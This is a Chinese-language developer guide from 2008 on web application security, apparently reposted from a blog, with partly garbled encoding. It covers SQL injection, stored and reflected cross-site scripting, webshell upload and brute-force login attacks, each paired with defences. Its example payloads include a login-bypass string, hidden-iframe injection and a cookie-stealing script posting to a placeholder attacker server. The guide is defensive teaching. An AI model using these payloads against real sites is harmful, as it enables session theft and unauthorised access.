BS程序代码与安全与基本攻击/防御模式
BS程序代碼與安全與基本攻擊/防御模式
BearOcean 2008-06-02
1.??? 引言
1.1.???? 文檔說明:
1.2.???? 文檔組織方式:
2.??? 正文
2.1.???? SQL注入
2.1.1.????? 攻擊模式:
2.1.2.????? 防御辦法:
2.2.???? 腳本注入
2.2.1.????? 攻擊模式
2.2.2.????? 防御方式
2.3.???? 跨站攻擊
2.3.1.????? 攻擊模式
2.3.2.????? 防御方式
2.4.???? shell 上傳
2.4.1.????? 攻擊模式
2.4.2.????? 防御方式
2.5.???? 爆破
2.5.1.????? 攻擊模式
2.5.2.????? 防御方式
3.??? 結(jié)語
?
?
?
1.???????? 引言
1.1.??????? 文檔說明:
該文檔主要闡述在BS程序中,安全性方面的注意事項(xiàng)。常見的主要攻擊模式,以及為了防御這些不同的攻擊手段,作為技術(shù)人員建議注意的編碼事項(xiàng)。
該文檔包含的內(nèi)容主要是個(gè)人對(duì)于Internet 安全性問題的理解。以及對(duì)這些問題進(jìn)行規(guī)避的方法整理,難免有誤,也歡迎大家進(jìn)行指正和補(bǔ)充。
另注: 該文檔出現(xiàn)的編碼均為偽代碼。
1.2.??????? 文檔組織方式:
該文檔主要按照攻擊模式進(jìn)行分類整理,每個(gè)攻擊模式的小專題分2部分內(nèi)容:
(1) 攻擊模式詳述
(2) 防御方式與建議
對(duì)于攻擊模式詳述部分,盡可能多的舉出案例來進(jìn)行說明,已方便理解。而防御方式,實(shí)際上通常只有在對(duì)攻擊模式理解的前提下,才可能真正確保防御的有效。
2.???????? 正文
2.1.??????? SQL注入
2.1.1.?????? 攻擊模式:
SQL 注入的成因主要是因?yàn)橄?/span>DB提供的SQL 是用字符串拼裝的方式生成的。
最經(jīng)常遭受SQL注入的頁面通常是管理員/用戶登陸點(diǎn)。不論是asp 或是jsp,如果不正確的編碼,都會(huì)出現(xiàn)這個(gè)漏洞。
下面以一個(gè)實(shí)例來闡述SQL注入的成因。
假設(shè)我們有一個(gè)JSP 頁面login.jsp,用于搜集管理員輸入的用戶名和密碼。用戶點(diǎn)擊按鈕,將會(huì)把收集到的用戶名與密碼提交到指定的控制組件(Struts:Action,或者Servlet).在該組件中調(diào)用chekLogin(String userName, String passWord) 進(jìn)行登陸驗(yàn)證,以從頁面收集到的用戶名和密碼信息拼裝出SQL 字符串,供DAO 下層使用,以從數(shù)據(jù)庫中的管理員記錄表中讀取數(shù)據(jù),如果從表中找到匹配的記錄,則表示驗(yàn)證成功,我們將返回相應(yīng)得管理員實(shí)體類。否則返回Null 表示登陸驗(yàn)證失敗。
這是一個(gè)非常簡(jiǎn)單的邏輯模塊,如下圖所示:
這個(gè)邏輯產(chǎn)生注入漏洞的關(guān)鍵在于checkAdminLogin方法。因?yàn)樵谠摲椒ㄖ?#xff0c;我們以這種方式進(jìn)行編碼:
public Admin checkAdminLogin(String userName, String password){
//拼裝SQL字符串
String strSQL =”SELECT * FROM TD_ADMIN AS A WHERE A.USERNAME=’”+userName +”’ AND A.PASSWORD=’”+password+”’”;
//后續(xù)通過DAO 提交該SQL到數(shù)據(jù)庫獲得查詢結(jié)果,省略
這個(gè)生成SQL 的方式,記得剛接觸數(shù)據(jù)庫編程的時(shí)候,有很多書籍的范例代碼也是這樣書寫的,咋一看沒有什么問題,但是由于沒有對(duì)可能的輸入作一個(gè)全面的考慮,所以便產(chǎn)生了注入漏洞。如果有人試圖在這里進(jìn)行惡意攻擊,那么他可以在登陸名輸入框中輸入 123 (其實(shí)其他的任意值也可) 而在密碼輸入框中輸入 ‘ OR ‘1’=’1
那么由于我們的SQL是靠拼出來的,所以最終提交給數(shù)據(jù)庫的將是:
SELECT * FROM TD_ADMIN AS A WHERE A.USERNAME=’123’ AND A.PASSWORD=’’ OR ‘1’=’1’
很顯然,這句SQL 由于后面被加上了永真條件,登陸是一定成功的。那么不論登陸者是否是管理員,輸入 ‘ OR ‘1’=’1 ,他都將能夠登陸系統(tǒng)。
更有甚者,我可以在輸入框中輸入數(shù)據(jù)庫的SQL注釋符,然后填寫我想讓數(shù)據(jù)庫執(zhí)行的操作例如DROP SOMETABLE 一類的。所以注入漏洞的危害實(shí)際是非常大的。
SQL 注入漏洞的根本原因是,由于我們編碼時(shí)的不小心,導(dǎo)致用戶可以通過輸入來改變要執(zhí)行的邏輯,甚至輸入新的邏輯。但是,越是嚴(yán)重和顯而易見的代碼安全問題,實(shí)際要修補(bǔ)卻也是越容易的。
2.1.2.?????? 防御辦法:
A: 加上驗(yàn)證(或者字符過濾)
在網(wǎng)上搜索關(guān)于對(duì)SQL 注入的防護(hù)問題,有很多答案提供的是對(duì)輸入字符串進(jìn)行驗(yàn)證/或者是過濾,甚至有人提供了字符串過濾代碼。這種方案指出:?SQL 注入的成因是攻擊者在輸入框中輸入了有特殊意義的字符,如單引號(hào),或者是數(shù)據(jù)庫特定的注釋符號(hào),或者是執(zhí)行分隔符的分號(hào)。
那么我們?cè)诳刂茖舆M(jìn)行驗(yàn)證,禁止用戶輸入這些符號(hào),或者將這些符號(hào)進(jìn)行轉(zhuǎn)義是否可以杜絕SQL注入?
表面上看似乎是可以的,因?yàn)樵诳刂茖又?#xff0c;用戶如果試圖輸入 ‘ OR ‘1’=’1 將得到類似”不允許輸入單引號(hào)”的提示從而系統(tǒng)拒絕了本次執(zhí)行。
但是,這樣的防御方案有非常大的缺陷:
第一: 輸入驗(yàn)證應(yīng)該與具體的邏輯掛鉤,而不應(yīng)該與安全防護(hù)中的防注入產(chǎn)生過密的依賴。用戶名和密碼的輸入驗(yàn)證和新聞內(nèi)容的輸入驗(yàn)證是不同的。例如,對(duì)于新聞的按內(nèi)容搜索又應(yīng)該允許輸入單引號(hào),因?yàn)樾侣剝?nèi)容本身是允許包含單引號(hào)的。所以輸入驗(yàn)證不能從根本上解決問題。一個(gè)疏忽帶來的結(jié)果將是滿盤皆輸。
第二: 提出這種解決方案實(shí)際上是沒有真正的理解SQL注入,SQL注入的問題并不是出在不合法字符的問題上。這只是表象,SQL注入的真正原因是系統(tǒng)沒有辦法嚴(yán)格地控制程序邏輯與輸入?yún)?shù)之間的分離,系統(tǒng)存在漏洞讓系統(tǒng)是用者有地方可以把自己的輸入(本應(yīng)該是參數(shù))變成了程序邏輯的一部分。
B: 控制與參數(shù)分離
試想我們給用戶提供一個(gè)接口,這個(gè)接口帶一個(gè)參數(shù),用戶填寫這個(gè)的這個(gè)參數(shù)將決定下面的代碼執(zhí)行序列。那么用戶可以通過這個(gè)接口來命令系統(tǒng)做任何事情。其實(shí)SQL注入就是這個(gè)原因。
產(chǎn)生這個(gè)問題的最根本的原因是,系統(tǒng)應(yīng)該有能力明確的劃分什么是邏輯,什么是參數(shù)。
所以解決SQL注入的最根本辦法是使用Template 模式。
如下圖所示:
那么用戶的輸入會(huì)作為Business Object 的參數(shù)存在。但是不管用戶輸入什么。都無法脫離程序員設(shè)置的Templete (邏輯模板)。最后 Templete + Parameters 將決定程序具體的執(zhí)行。
Java 中對(duì)該模式的實(shí)現(xiàn)有PreparedStatment或者NamingQuery一類的技術(shù)。詳細(xì)內(nèi)容可以參見相關(guān)文檔。由于他們實(shí)現(xiàn)了參數(shù)與邏輯的分離,所以將從根本上杜絕SQL注入。
使用PreparedStatement還有其他好處,除了安全方面的考慮,由于數(shù)據(jù)庫的編譯特性,在性能上也有所提高。
2.2.??????? 腳本注入
2.2.1.?????? 攻擊模式
這里所說的腳本,通常所指的是JavaScript腳本,雖然JavaScript運(yùn)行于客戶端,并且有安全沙箱的保護(hù),但是放任惡意JavaScript腳本是十分危險(xiǎn)的。
腳本注入也是一種技術(shù)含量低的攻擊方式。需要攻擊者熟悉JavaScript腳本和Dom模型,如果會(huì)運(yùn)用Ajax 技術(shù),更是如虎添翼。如果你了解這兩項(xiàng)技術(shù),便可以在網(wǎng)上搜索你的目標(biāo)。
一個(gè)網(wǎng)站,如果對(duì)輸入未做合理的驗(yàn)證或過濾,在顯示輸出的時(shí)候又未做合適的格式化,那么便存在這種漏洞。下面舉一個(gè)實(shí)例:
我們有一個(gè)新聞?wù)军c(diǎn)。每個(gè)新聞允許瀏覽者進(jìn)行評(píng)論,瀏覽者提交的評(píng)論將被存儲(chǔ)在數(shù)據(jù)據(jù)庫專門的表中,并且將被顯示在新聞的下邊。
這個(gè)邏輯很正常,沒有什么問題。但是很可惜的是開發(fā)者除了字符長度沒有在后端做任何輸入合法驗(yàn)證。那么這個(gè)站點(diǎn)的評(píng)論輸入,必然給壞蛋們有機(jī)可乘。
假設(shè)我們?cè)谠u(píng)論中輸入如下內(nèi)容:
<script language=”javascript”>alert(“哈哈,傻了吧,這個(gè)地方存在腳本注入漏洞.”);</script>
那么,這句話將被存儲(chǔ)在數(shù)據(jù)庫評(píng)論表中。以后,每一個(gè)瀏覽者打開這個(gè)新聞頁面是,都將會(huì)彈出這樣一個(gè)消息框。攻擊者很仁慈,沒有做過多的破壞。
但是如果輸入:
<script language=”javascript”>window.location.href=”www.baidu.com”;</script>
那么打開這個(gè)新聞頁面,該頁面將被從定向到baidu的頁面上。
如果目標(biāo)頁面不是baidu. 而是一個(gè)有惡意代碼的頁面。那么每個(gè)瀏覽者的機(jī)器都可能中毒。
注入上述腳本的攻擊者不夠聰明或者只是想好心的提示。因?yàn)樗麄冏⑷氲臇|西太容易被人發(fā)覺。
我們有別的方式把活干的隱蔽,畢竟開發(fā)者和維護(hù)人員都不可能對(duì)評(píng)論一條一條得進(jìn)行檢查。
我們注入:
好文! 頂
<iframe src=”帶病毒的頁面” width=”0” height=”0”></iframe>
那么在新聞頁面上,將看不到任何異狀。但是瀏覽器其實(shí)可能正在悄悄得下載病毒。
WEB2.0的流行使頁面效果更加絢麗,同時(shí)也使腳本注入的攻擊力提高不少。
曾經(jīng)了解這樣一種攻擊模式:
攻擊者在幕后準(zhǔn)備了服務(wù)器去接受Ajax提交的請(qǐng)求。攻擊者通常有自己的服務(wù)器(通常是肉雞), 在上面部署了合適的代碼。
在目標(biāo)站點(diǎn),存在注入點(diǎn)的頁面注入如下代碼:
我也來頂!
<script language=”javascript”>
var strTargetMessage =window.cockie;
AjaxSend(“黑客掌握的服務(wù)器監(jiān)聽點(diǎn)”, strTargetMessage);
</javascript>
很簡(jiǎn)單的代碼,而且極難被發(fā)覺。
但是這樣,每個(gè)登錄者在訪問這個(gè)頁面的時(shí)候,其cockie信息都將被發(fā)送給攻擊者。
掌握了cockie中存放的JSESSIONID, 那么攻擊者便可以冒充該登錄者來做想做的事情,比如說轉(zhuǎn)帳(但一般銀行有SSL 授權(quán)的密鑰).
不管怎么樣,很危險(xiǎn)了。
2.2.2.?????? 防御方式
提供合理的過濾或者轉(zhuǎn)換程序,在輸入存放于數(shù)據(jù)庫前,或者是顯示在頁面前對(duì)數(shù)據(jù)進(jìn)行處理。盡一切可能,避免用戶的輸入有執(zhí)行的可能。
具體代碼,因不同的后端語言不同,但是項(xiàng)目提供有效,統(tǒng)一的過濾處理方式是合理的。
該攻擊方法成立的原因是,瀏覽器在對(duì)頁面進(jìn)行解析時(shí),不可能區(qū)分哪一段是客戶輸入,哪一段是預(yù)編制的模板或Html或腳本。
有人曾經(jīng)提出,確保評(píng)論內(nèi)容出現(xiàn)在<pre></pre>中可以避免這個(gè)問題。
如:
<pre><%= 評(píng)論內(nèi)容 %></pre>
那么評(píng)論內(nèi)容將得到原樣顯示,并不會(huì)執(zhí)行其中的腳本。
但是這樣的解決方案是不正確的。
因?yàn)槲抑恍枰獙?duì)注入稍加改動(dòng):
</pre>
<script language=”javascript”>
var strTargetMessage =window.cockie;
AjaxSend(“黑客掌握的服務(wù)器監(jiān)聽點(diǎn)”, strTargetMessage);
</javascript>
<pre>
那么實(shí)際上注入腳本將<pre>塊閉合了,腳本仍然會(huì)得到執(zhí)行。
2.3.??????? 跨站攻擊
2.3.1.?????? 攻擊模式
跨站攻擊和腳本注入非常相似。有很多資料并沒有區(qū)分這兩種攻擊。
實(shí)際上,我認(rèn)為跨站和腳本注入最大的區(qū)別在于用戶提交的非法腳本是否需要持久化到服務(wù)器。通常,用于腳本注的惡意腳本提交后,將存儲(chǔ)在服務(wù)器數(shù)據(jù)庫中。這導(dǎo)致每個(gè)訪問問題頁面的瀏覽者都將遭到惡意腳本的攻擊。而跨站攻擊多數(shù)情況是將惡意腳本構(gòu)造于url參數(shù)中。通過欺騙的方式去誘使受害者點(diǎn)擊鏈接。而使得惡意腳本執(zhí)行。
雖然,不像腳本注入,跨站攻擊必須要誘使受害者點(diǎn)擊鏈接才能得以執(zhí)行。但是一旦成立,其危害將和腳本注入的危害一樣大。
并且,跨站攻擊的最大問題在于漏洞難于查找,特別容易被忽略。
因?yàn)槿藗兺ǔS浀迷谟脩糨斎朐u(píng)論的地方加上過濾來避免注入,但是防護(hù)跨站漏洞,卻要保證在每個(gè)處理url參數(shù)的頁面中都要對(duì)傳入的參數(shù)進(jìn)行合法性驗(yàn)證。由于程序員的疏忽或者懶惰,往往無法做到 “每個(gè)”, 所以即使是知名的大型網(wǎng)站也頻頻出現(xiàn)跨站漏洞。
下面給出一個(gè)實(shí)例來說明跨站漏洞。
一年前,我的朋友曾經(jīng)給了我一個(gè)工行網(wǎng)絡(luò)銀行的地址(http://www.icbc.com.cn/news/hotspot.jsp?column=%CD%A8%BC%A9%3A+%D0%DC%BA%A3%CD%AC%D1%A7%D3%DA2007.5.1%C8%D5%D5%A9%C6%AD%B9%A4%C9%CC%D2%F8%D0%D0500%CD%F2%CF%D6%BD%F0%A3%AC%CF%D6%D4%DA%C7%B1%CC%D3%D6%D0%A3%AC%D3%D0%D7%A5%BB%F1%D5%DF%BD%B1%C0%F8%C8%CB%C3%F1%B1%D250%CD%F2%D5%FB (上面這些類似亂碼的編碼實(shí)際上是“通緝: BearOcean同學(xué)于2007.5.1日詐騙工商銀行500萬現(xiàn)金,現(xiàn)在潛逃中,有抓獲者獎(jiǎng)勵(lì)人民幣50萬整”字符串的urlEncoding成果物,后來工行把這個(gè)漏洞堵上了.)
當(dāng)我點(diǎn)開頁面進(jìn)行瀏覽的時(shí)候,發(fā)現(xiàn)上面顯示的是一則公告:
?? “通緝: BearOcean同學(xué)于2007.5.1日詐騙工商銀行500萬現(xiàn)金,現(xiàn)在潛逃中,有抓獲者獎(jiǎng)勵(lì)人民幣50萬整”
很顯然這是一個(gè)玩笑(我的同學(xué)沒有攻擊意圖,只是利用這個(gè)開了個(gè)玩笑),但是讓我驚訝的是即使是工行也能出現(xiàn)這樣的問題。我們現(xiàn)在來分析出現(xiàn)這個(gè)問題的原因,以及它可能帶來的危害。
工行的hotspot.jsp可以理解成一個(gè)專用于顯示一些簡(jiǎn)短信息的頁面。
他接受url中的一個(gè)參數(shù)column并把它顯示出來。
這樣的頁面很常見也很有用,例如我們?cè)谧?cè)成功,評(píng)論新聞成功的時(shí)候,都希望有一個(gè)風(fēng)格統(tǒng)一的頁面來顯示操作結(jié)果。如果為每一個(gè)有這種需求的地方單獨(dú)開發(fā)不同的頁面,一來工作量大,二來重用性差,所以我們用一個(gè)頁面來完成這種事情。這個(gè)頁面顯示的是什么取決于輸入的參數(shù)。請(qǐng)看下圖:
hotspot 是傻子,無法智能到判定輸入的column來自于友方模塊還是來自于我的同學(xué)??傊?#xff0c;來者不拒。直接將column不加區(qū)分的顯示在hotspot上。
令人好奇的是,該漏洞只是讓大家開開玩笑,輸出一些好玩的東西,那么其實(shí)這個(gè)漏洞會(huì)不會(huì)也無傷大雅,沒有什么危害性。我強(qiáng)調(diào)過,我的同學(xué)不是惡意的攻擊者,敏感的人能夠猜測(cè):如果輸入的不是用于開玩笑的字符串,而是惡意的腳本,那將如何?
跨站攻擊的危害和腳本注入是一樣的。惡意腳本得以執(zhí)行,一樣可用于盜取coockie. 或以高級(jí)別權(quán)限用戶執(zhí)行危害更嚴(yán)重的木馬上傳操作,或者幫助瀏覽者在自己的機(jī)器上種上病毒。與SQL注入不同,腳本注入和跨站都沒有直接攻擊服務(wù)端,實(shí)際上是攻擊了客戶端。但是,上述2種漏洞通常會(huì)成為有經(jīng)驗(yàn)的黑客攻擊服務(wù)器的最喜愛跳板。
2.3.2.?????? 防御方式
問題的原因已經(jīng)分析清楚,存在跨站漏洞的頁面或模塊通常未對(duì)傳入的url參數(shù)進(jìn)行處理,或者確定傳入來源是可靠的。
最主要的防御方式與腳本注入的防御方式相同。
在類似于的hotspot頁面中,程序員對(duì)輸入的colum進(jìn)行過濾,并免任何腳本執(zhí)行的機(jī)會(huì)就可以保護(hù)站點(diǎn)免受跨站漏洞的攻擊。
2.4.??????? shell 上傳
2.4.1.?????? 攻擊模式
shell上傳是攻擊BS程序最可怕的一招。
中招的站點(diǎn),完全被破壞是一點(diǎn)也不意外的。因?yàn)?/span>shell, 通常都有能力幫助攻擊者拿到系統(tǒng)管理員的權(quán)限。繞開站點(diǎn)的權(quán)限限制,直接攻擊操作系統(tǒng)和DBA, 作為攻防戰(zhàn)的防守方,搞成這種局面,只能用完全失敗來形容了。
要理解通過shell上傳來攻擊服務(wù)器的方式,需要理解shell是什么。
Shell 通常是一種用特定語言編寫的程序,攻擊服務(wù)器的時(shí)候,由于通常要實(shí)現(xiàn)遠(yuǎn)程編譯比較復(fù)雜,所以這種木馬類型的文件一般都用解釋型語言編寫(或者有解釋語言特點(diǎn)).
具體語言的選擇,依賴于目標(biāo)站點(diǎn)的開發(fā)語言。攻擊ASP 站點(diǎn)的shell 用ASP 編寫,攻擊PHP 站點(diǎn)的shell用PHP編寫,攻擊J2EE的站點(diǎn)Shell 可用Jsp來編寫。
Shell 通常都是基于命令的,它通常能接受攻擊者的參數(shù)。然后以功能劃分模塊進(jìn)行運(yùn)行。
常見的命令如: 列表文件,刪除文件,創(chuàng)建文件,修改文件,新建系統(tǒng)帳號(hào),訪問操作系統(tǒng)功能。通過使用這些功能。攻擊者將能夠控制shell 宿主服務(wù)器,所以站點(diǎn)乃至整個(gè)系統(tǒng)被shell 黑破是很好理解的。設(shè)想一個(gè)攻擊者通過shell新建一個(gè)操作系統(tǒng)管理員,其實(shí)就可以拋棄shell了。(需要說明的是,webshell通常功能較弱,但是webshell可以支持更強(qiáng)木馬的上傳和執(zhí)行。) 通過遠(yuǎn)程控制客戶端,便可對(duì)服務(wù)器為所欲為。
請(qǐng)看下圖:
攻擊者通過shell木馬,去取得其他關(guān)鍵權(quán)限,轉(zhuǎn)而對(duì)整個(gè)系統(tǒng)實(shí)施攻擊。
很奇怪,明明我的服務(wù)器內(nèi)只部署了我自己開發(fā)的頁面文件和程序模塊。攻擊者是怎樣把木馬傳上來的呢。
一般來說有如下方式:
(1)??? FTP: 服務(wù)器開啟了FTP 服務(wù),并且使用允許匿名或者弱帳號(hào)機(jī)制,FTP 直接指向Web虛擬路徑,很多人通過這種方式來管理/維護(hù)站點(diǎn)。固然方便,但是攻擊者通過端口掃描可以很容易的找到服務(wù)器的FTP服務(wù),攻擊FTP進(jìn)而上傳shell木馬。但是這種攻擊方式以及其他利用服務(wù)/操作系統(tǒng)/web容器漏洞的服務(wù)均與開發(fā)的直接關(guān)系不大,主要責(zé)任系維護(hù)方面,所以在這里不詳細(xì)敘述。
(2)??? 上傳組件: 很多站點(diǎn),由于功能要求,提供文件上傳功能。這個(gè)功能,攻擊者通常都會(huì)非常注意。如果上傳組建的編寫有問題。那么攻擊者就能很方便的上傳shell. 因?yàn)楹烷_發(fā)關(guān)系較大,所以主要敘述的是這種上傳方式。
方式(2) 中所涉及的上傳組建通常是一些上傳功能需求引入的。例如用戶可以自定義自已的圖片或者是上傳商品圖片,或者是允許上傳一些其他文件供瀏覽者下載。這些上傳功能也頻繁出現(xiàn)在后臺(tái)管理中。
2.4.2.?????? 防御方式
關(guān)于shell的防御通常有如下一些事項(xiàng)需要注意:
(1)??? Web 容器正確的安全設(shè)置:
如果系統(tǒng)有上傳的功能,那么上傳的文件一般都存放在固定的一個(gè)或者幾個(gè)文件夾中。
最需要確保的是,不管上傳了什么,我們都需要保證服務(wù)器認(rèn)為這些文件是數(shù)據(jù),而不會(huì)誤以為是程序模塊而使木馬得到執(zhí)行的機(jī)會(huì)。通常web服務(wù)器都有相關(guān)的安全設(shè)置。禁用這幾個(gè)文件夾中的文件解釋/執(zhí)行權(quán)限是必要的,這樣即使木馬上傳成功也無法解析。在系統(tǒng)上線前需要對(duì)web配置進(jìn)行正確的配置這是一點(diǎn)。
總的來說,不管是利用OS 漏洞或者是FTP 或者是配置。Linux 的安全性相對(duì)于Windows較高。目前最多的shell馬一般是基于ASP的。
(2)??? 自己編寫上傳組件需要嚴(yán)格的驗(yàn)證:
很多時(shí)候我們會(huì)使用自己開發(fā)的上傳功能和組件。
編寫的時(shí)候需要對(duì)上傳的文件進(jìn)行驗(yàn)證而不能夠不加驗(yàn)證便進(jìn)行保存。
通常驗(yàn)證的項(xiàng)目包括文件大小和文件后綴(文件類型),如僅允許jpeg, jpg, gif 圖片格式文件上傳。這是作為開發(fā)方需要注意的事項(xiàng),但是不結(jié)合第一點(diǎn)來防護(hù)仍然不安全。目前有許多jpg, gif shell木馬,后綴名使用圖片格式能夠跳過驗(yàn)證,但是攻擊者可以利用其他的漏洞使木馬得以執(zhí)行。
另外,通常后臺(tái)功能有修改允許上傳文件類型的功能。如果攻擊者通過其他手段(如注入或者社會(huì)工程學(xué)) 成功得到了后臺(tái)登陸權(quán)限,那么他仍然能夠上傳木馬。
所以(2) +(1) 才能使得防護(hù)真正的起到作用。另外一點(diǎn)需要注意的是,對(duì)文件的驗(yàn)證一定要在服務(wù)器端進(jìn)行。前端的javascript驗(yàn)證在安全性上將不起作用。
(3)??? 利用已開發(fā)的第三方組件:
有很多人開發(fā)出了好用的第三方控件,如一些富文本編輯控件直接允許文件/圖片的上傳(如FCKEditor) 這些控件有很多在功能上做的很好,但往往由于開發(fā)者安全方面考慮的不多,會(huì)存在漏洞,在使用第三方組件的時(shí)候可以對(duì)組件是否存在漏洞進(jìn)行調(diào)查。必要的時(shí)候可進(jìn)行代碼修改以進(jìn)行安全加強(qiáng)。
比較出名的是,曾經(jīng)有一個(gè)很著名的asp 后臺(tái)文件管理模塊。出現(xiàn)了非常明顯的shell上傳點(diǎn)。但是使用的人仍然趨之若鶩。攻擊者們通常發(fā)現(xiàn)站點(diǎn)使用該組件的時(shí)候。第一反應(yīng)就是:開心地笑了。甚至有人開發(fā)了專門針對(duì)該模塊的攻擊/上傳程序。
2.5.??????? 爆破
2.5.1.?????? 攻擊模式
爆破和上述的攻擊方式一樣,均是很古老的攻擊手段了。它是很暴力很笨的攻擊方式。不過使用得到也具有一定的威脅。
爆破的模式很簡(jiǎn)單,一般情況如下圖所示:
爆破方式來獲取帳號(hào),通常在攻擊端需要部署攻擊器和字典程序。
攻擊器負(fù)責(zé)向特定登陸模塊發(fā)送登陸請(qǐng)求,字典程序負(fù)責(zé)按照人們的輸入習(xí)慣對(duì)于待輸入嘗試進(jìn)行排序。結(jié)合起來,可以在一定時(shí)間將系統(tǒng)中的賬號(hào)試出來。具體時(shí)間依據(jù)密碼賬號(hào)強(qiáng)度來定。簡(jiǎn)單的密碼如 admin 123 可能在一分鐘內(nèi)被試探出來。而強(qiáng)賬號(hào)可能要一年。
2.5.2.?????? 防御方式
總的來說,防暴有如下幾種方式:
(1)??? 使用驗(yàn)證碼:
這是一個(gè)很成熟的方式,也較為行之有效。具體方式是在登陸的時(shí)候,除了要求登陸者輸入用戶名與密碼以外,還要求輸入者辨識(shí)一個(gè)不怎么清晰的圖片,并輸入圖片中顯示的字符,以作為這次輸入并非出自自動(dòng)程序的憑證。
要破除這種方式的登陸端并進(jìn)行爆破,對(duì)于攻擊端有更高的要求。需要首先對(duì)驗(yàn)證圖片進(jìn)行模式匹配以提取其中隱含的字符串。不過模糊匹配是比較復(fù)雜的技術(shù)。具體的應(yīng)用包括音頻匹配,指紋系統(tǒng),人臉識(shí)別,圖片處理等方向,涉及較強(qiáng)的數(shù)理基礎(chǔ)。一般攻擊者都不會(huì)動(dòng)用這種技術(shù),目前模糊匹配仍沒有達(dá)到成熟。模糊匹配不能很有效的原因也是計(jì)算機(jī)無法真正意義上模擬生物智能的重要障礙之一。相關(guān)方向有很多課題無解。如果感興趣可以單獨(dú)研究。
(2)??? 阻塞同一IP同一時(shí)間多次連續(xù)對(duì)登陸的驗(yàn)證請(qǐng)求
該方法在后端程序中加上一個(gè)時(shí)間連續(xù)驗(yàn)證。禁止同一IP 同一時(shí)間內(nèi)多次請(qǐng)求。例如可以設(shè)置同一IP 上次驗(yàn)證距這次驗(yàn)證間隔時(shí)間必須大于0.2秒。通過這種方式來降低攻擊程序的性能。
不過這種方式除了性能上的弱點(diǎn),還有一個(gè)弱點(diǎn)在于: 網(wǎng)絡(luò)環(huán)境中,如果有大量用戶共用一個(gè)IP, 所以有可能在高并發(fā)的情況下拒絕正常請(qǐng)求。
?
3.???????? 結(jié)語
關(guān)于站點(diǎn)程序安全,還有很多攻擊和防御的方式。
開發(fā)過程中,代碼上的防御最好形成統(tǒng)一的,類似于AOP 的安全服務(wù)層。對(duì)安全過濾,效驗(yàn),防暴等攻擊手段提供統(tǒng)一的服務(wù)和保護(hù)。由于編碼習(xí)慣引入的漏洞,可以制定相關(guān)的規(guī)范,對(duì)形如SQL 注入的避免。
同時(shí),運(yùn)營方面,需要密切地注意OS , 數(shù)據(jù)庫,網(wǎng)絡(luò)環(huán)境存在的不安因素。
部署方面,對(duì)于配置充分考量安全方面的強(qiáng)化。
本文當(dāng)沒有涉及具體的編碼技術(shù)和配置方案,因?yàn)橥瓿蛇@些詳述,篇幅會(huì)變得無法控制。
本文當(dāng)主要在基本的安全事項(xiàng),攻擊模式上面做出闡述。拋磚引玉。
????????????????????????????????????????????????????????? BearOcean 2008-06-02
轉(zhuǎn)載于:https://www.cnblogs.com/BearOcean/archive/2008/06/02/1212031.html
總結(jié)
以上是生活随笔為你收集整理的BS程序代码与安全与基本攻击/防御模式的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Broadcom NetXtrem II
- 下一篇: 欠薪解决新途径:劳动者可向法院申请支付令